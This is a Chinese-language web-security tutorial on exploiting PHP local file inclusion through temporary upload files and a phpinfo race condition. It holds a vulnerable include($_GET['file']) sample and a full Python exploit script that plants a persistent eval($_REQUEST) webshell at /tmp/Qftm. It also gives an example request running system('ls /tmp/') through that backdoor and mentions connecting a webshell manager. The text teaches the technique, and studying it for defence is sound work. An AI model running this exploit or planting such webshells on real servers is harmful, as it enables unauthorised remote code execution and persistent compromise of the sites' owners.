0x00： 前言

假如在服务器上找不到我们可以包含的文件，那该怎么办，此时可以通过利用一些技巧让服务器存储我们恶意生成的临时文件，该临时文件包含我们构造的恶意代码，此时服务器就存在我们可以包含的文件。

目前，常见的两种临时文件包含漏洞利用方式是： PHPINFO（） and PHP7 Sement Fault,利用这两种奇淫技巧可以向服务器上传文件同时在服务器上生成恶意的临时文件，然后将恶意的临时文件包含就可以达到任意代码执行效果，也就是拿到服务器权限进行后续操作。

0x01： 浅谈临时文件

在了解漏洞利用方式时，先来了解一下PHP临时文件的机制。
image.png

全局变量：

在PHP中可以使用POST方法或者PUT方法进行文本和二进制文件的上传。上传的文件信息会保存在全局变量 $_FILE 里。

$_FILE 超级全局变量很特殊，他是预定义超级全局数组中唯一的二维数组。其作用是存储各种与上传文件有关的信息，这些信息对于通过PHP脚本上传到服务器的文件至关重要。

  1. $_FILES['userfile']['name'] 客户端文件的原名称。
  2. $_FILES['userfile']['type'] 文件的 MIME 类型，如果浏览器提供该信息的支持，例如"image/gif"。
  3. $_FILES['userfile']['size'] 已上传文件的大小，单位为字节。
  4. $_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名，一般是系统默认。可以在php.ini的upload_tmp_dir 指定，默认是/tmp目录。$_FILES['userfile']['error'] 该文件上传的错误代码，上传成功其值为0，否则为错误信息。
  5. $_FILES['userfile']['tmp_name'] 文件被上传后在服务端存储的临时文件名

在临时文件包含漏洞中$_FILES[‘userfile’][‘name’]这个变量值的获取很重要，因为临时文件的名字都是由随机函数生成的，只有知道文件的名字才能正确的去包含它。

存储目录：

文件被上传之后，默认会存储到服务端的默认临时目录中，该临时目录由PHP.ini 的UPload_tmp_dir 属性指定，假如 upload_tmp_dir 的路径不可写，PHP 会上传到系统默认的临时目录。

  1. Linux目录：
  2. Linxu系统服务的临时文件主要存储在根目录的tmp文件夹下，具有一定的开放权限。
  3. /tmp/

image.png

  1. Windows 目录：
  2. Windows系统服务的临时文件主要存储在系统盘Windows文件夹下，具有一定的开放权限。
  3. C:/Windows/ 
  4. C:/Windows/Temp/

命名规则：

存储在服务器上的临时文件的文件名都是随机生成的，了解不同系统服务器对临时文件的命名规则很重要，因为有时候对于临时文件我们需要去爆破，此时我们需要知道它的命令规则是什么。

可以通过PHPINFO 查看临时文件的信息。
Linux Temporary File
Linux 临时文件主要存储在 /tmp/ 目录下，格式通常是（ /tmp/php【6个随机字符】）
image.png

Windows Temporary File
Windows 临时文件主要存储在 C:/Windows/目录下，格式通常是（C:/Windows/php[4个随机字符].tmp）
image.png

0x02：PHPINFO():

通过上面的介绍，服务器上存储的临时文件时随机的，这就很难获取真实的文件名，不过，如果目标网站上存在phpinfo，则可以通过phpinfo来获取临时文件名，进而进行包含。
index.php

  1. <?php
  2.     $file  = $_GET['file'];    
  3.   include($file);
  4. ?>

phpinfo.php

  1. <?php phpinfo();?>

漏洞分析：

当我们在给PHP发送POST数据包时，如果数据包里包含文件区块，无论你访问的代码中有没有处理文件上传的逻辑，PHP都会将这个文件保存未一个临时文件。文件名可以在$_FILES变量中找到。这个临时文件，在请求结束后就会被删除。

利用phpinfo的特性可以很好的帮助我们，因为phpinfo页面会将当前请求上下文中所有变量都打印出来，所以我们如果向phpinfo页面发送包含文件区块的数据包，则即可在返回包里找到$_FILES变量的内容，拿到临时文件变量名之后，就可以进行包含执行我们传入的恶意代码。

漏洞利用：

  • 利用条件无 PHPINFO的这种特性源于php自身，与php的版本无关

测试脚本：
探测是否存在 PHPINFO 包含临时文件信息

  1. import requests
  2. files = {  'file': ("aa.txt","ssss")}url = "http://x.x.x.x/phpinfo.php"
  3. r = requests.post(url=url, files=files, allow_redirects=False)
  4. print(r.text)

运行脚本可以看到回显中有如下内容
Linux
image.png
Windows
image.png

利用原理：

验证了phpinfo的特性确实存在，所以在文件包含漏洞找不到可利用的文件时，我们就可以利用这一特性，找到并提取临时文件名，然后包含之即可Getshell。

但文件包含漏洞和phpinfo页面通常是两个页面，理论上我们需要先发送数据包给phpinfo页面，然后从返回页面中匹配出临时文件名，再将这个文件名发送给文件包含漏洞页面，进行getshell。在第一个请求结束时，临时文件就被删除了，第二个请求自然也就无法进行包含。

利用过程：

这个时候就需要用到条件竞争，具体原理和过程如下：

(1) 发送包含了webshell 的上传数据包给phpinfo页面，这个数据包的header、 get 等位置需要塞满垃圾数据。
(2) 因为 phpinfo 页面会将所有的数据都打印出来，1中的数据会将整个 phpinfio 页面撑的非常大。
(3) php 默认的输出缓冲区为4096，可以理解为 php 每次返回 4096 个字节给socket 连接。
(4) 所以，我们直接操作原生的 socket ，每次读取4096个字节.只要读取到的字符里包含临时文件名，就立即发送第二个数据包。
(5) 此时，第一个数据包的 socket 连接实际上还没有结束，因为 php 还在继续每次输出4096个字节，所以临时文件还没有删除。
(6) 利用这个时间差，第二个数据包，也就是文件包含漏洞的利用，即成功包含临时文件，最终getshell。
（参考ph牛https://github.com/vulhub/vulhub/tree/master/php/inclusion）

Getshell
exp.py**

  1. #!/usr/bin/python
  2. #python version 2.7
  4. import sys
  5. import threading
  6. import socket
  9. def setup(host, port):
  10.     TAG = "Security Test"
  11.     PAYLOAD = """%s\r
  12. <?php file_put_contents('/tmp/Qftm', '<?php eval($_REQUEST[Qftm])?>')?>\r""" % TAG
  13.     # PAYLOAD = """%s\r
  14.     # <?php file_put_contents('/var/www/html/Qftm.php', '<?php eval($_REQUEST[Qftm])?>')?>\r""" % TAG
  15.     REQ1_DATA = """-----------------------------7dbff1ded0714\r
  16. Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
  17. Content-Type: text/plain\r
  18. \r
  19. %s
  20. -----------------------------7dbff1ded0714--\r""" % PAYLOAD
  21.     padding = "A" * 5000
  22.     REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
  23. Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
  24. HTTP_ACCEPT: """ + padding + """\r
  25. HTTP_USER_AGENT: """ + padding + """\r
  26. HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
  27. HTTP_PRAGMA: """ + padding + """\r
  28. Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
  29. Content-Length: %s\r
  30. Host: %s\r
  31. \r
  32. %s""" % (len(REQ1_DATA), host, REQ1_DATA)
  33.     # modify this to suit the LFI script
  34.     LFIREQ = """GET /index.php?file=%s HTTP/1.1\r
  35. User-Agent: Mozilla/4.0\r
  36. Proxy-Connection: Keep-Alive\r
  37. Host: %s\r
  38. \r
  39. \r
  40. """
  41.     return (REQ1, TAG, LFIREQ)
  44. def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
  45.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  46.     s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  48.     s.connect((host, port))
  49.     s2.connect((host, port))
  51.     s.send(phpinforeq)
  52.     d = ""
  53.     while len(d) < offset:
  54.         d += s.recv(offset)
  55.     try:
  56.         i = d.index("[tmp_name] => ")
  57.         fn = d[i + 17:i + 31]
  58.     except ValueError:
  59.         return None
  61.     s2.send(lfireq % (fn, host))
  62.     d = s2.recv(4096)
  63.     s.close()
  64.     s2.close()
  66.     if d.find(tag) != -1:
  67.         return fn
  70. counter = 0
  73. class ThreadWorker(threading.Thread):
  74.     def __init__(self, e, l, m, *args):
  75.         threading.Thread.__init__(self)
  76.         self.event = e
  77.         self.lock = l
  78.         self.maxattempts = m
  79.         self.args = args
  81.     def run(self):
  82.         global counter
  83.         while not self.event.is_set():
  84.             with self.lock:
  85.                 if counter >= self.maxattempts:
  86.                     return
  87.                 counter += 1
  89.             try:
  90.                 x = phpInfoLFI(*self.args)
  91.                 if self.event.is_set():
  92.                     break
  93.                 if x:
  94.                     print "\nGot it! Shell created in /tmp/Qftm.php"
  95.                     self.event.set()
  97.             except socket.error:
  98.                 return
  101. def getOffset(host, port, phpinforeq):
  102.     """Gets offset of tmp_name in the php output"""
  103.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  104.     s.connect((host, port))
  105.     s.send(phpinforeq)
  107.     d = ""
  108.     while True:
  109.         i = s.recv(4096)
  110.         d += i
  111.         if i == "":
  112.             break
  113.         # detect the final chunk
  114.         if i.endswith("0\r\n\r\n"):
  115.             break
  116.     s.close()
  117.     i = d.find("[tmp_name] => ")
  118.     if i == -1:
  119.         raise ValueError("No php tmp_name in phpinfo output")
  121.     print "found %s at %i" % (d[i:i + 10], i)
  122.     # padded up a bit
  123.     return i + 256
  126. def main():
  127.     print "LFI With PHPInfo()"
  128.     print "-=" * 30
  130.     if len(sys.argv) < 2:
  131.         print "Usage: %s host [port] [threads]" % sys.argv[0]
  132.         sys.exit(1)
  134.     try:
  135.         host = socket.gethostbyname(sys.argv[1])
  136.     except socket.error, e:
  137.         print "Error with hostname %s: %s" % (sys.argv[1], e)
  138.         sys.exit(1)
  140.     port = 80
  141.     try:
  142.         port = int(sys.argv[2])
  143.     except IndexError:
  144.         pass
  145.     except ValueError, e:
  146.         print "Error with port %d: %s" % (sys.argv[2], e)
  147.         sys.exit(1)
  149.     poolsz = 10
  150.     try:
  151.         poolsz = int(sys.argv[3])
  152.     except IndexError:
  153.         pass
  154.     except ValueError, e:
  155.         print "Error with poolsz %d: %s" % (sys.argv[3], e)
  156.         sys.exit(1)
  158.     print "Getting initial offset...",
  159.     reqphp, tag, reqlfi = setup(host, port)
  160.     offset = getOffset(host, port, reqphp)
  161.     sys.stdout.flush()
  163.     maxattempts = 1000
  164.     e = threading.Event()
  165.     l = threading.Lock()
  167.     print "Spawning worker pool (%d)..." % poolsz
  168.     sys.stdout.flush()
  170.     tp = []
  171.     for i in range(0, poolsz):
  172.         tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
  174.     for t in tp:
  175.         t.start()
  176.     try:
  177.         while not e.wait(1):
  178.             if e.is_set():
  179.                 break
  180.             with l:
  181.                 sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
  182.                 sys.stdout.flush()
  183.                 if counter >= maxattempts:
  184.                     break
  185.         print
  186.         if e.is_set():
  187.             print "Woot!  \m/"
  188.         else:
  189.             print ":("
  190.     except KeyboardInterrupt:
  191.         print "\nTelling threads to shutdown..."
  192.         e.set()
  194.     print "Shuttin' down..."
  195.     for t in tp:
  196.         t.join()
  199. if __name__ == "__main__":
  200.     main()

包含生成/tmp/Qftm后门文件
image.png
拿到RCE之后，可以查看tmp下生成的后门文件
image.png

  2. http://192.33.6.145/index.php?file=/tmp/Qftm&Qftm=system(%27ls%20/tmp/%27)

然后使用后门管理工具连接后门webshell
image.png

  1. /tmp/Qftm <?php eval($_REQUEST[Qftm])?>

包含上传文件
利用条件：千变万化，不过至少得知道上传的文件在哪，叫什么名字！！！
利用姿势：不说了，太多了！！！
其它包含
一个web服务往往会用到多个其他服务，比如ftp服务、smb服务、数据库等等。这些应用也会产生相应的文件，但这就需要具体情况具体分析。这里就不展开了。